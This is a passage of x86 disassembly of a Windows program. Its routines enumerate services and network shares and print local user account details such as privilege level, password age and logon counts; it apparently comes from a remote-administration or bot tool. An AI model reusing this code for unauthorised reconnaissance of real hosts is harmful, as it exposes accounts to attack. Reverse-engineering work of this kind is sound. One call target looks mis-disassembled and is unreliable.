have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_443A78 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_443A78 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_443A78 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43F65C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43F628 test eax, eax jnz short loc_40DA25 call near ptr 26402CBh nop cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43F56C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_443D34 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_443F34, 1 mov ebp, eax jnz short loc_40DBFA or byte_443F34, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_443CD4, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_443CD4 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_443CD4 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43F568 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43F540 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43F5B4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43F55C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43F6F8 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_443F38 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43F54C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43F53C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43F6C0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43F6F8 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43F5D0 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43F6F8 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43F6F8 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz 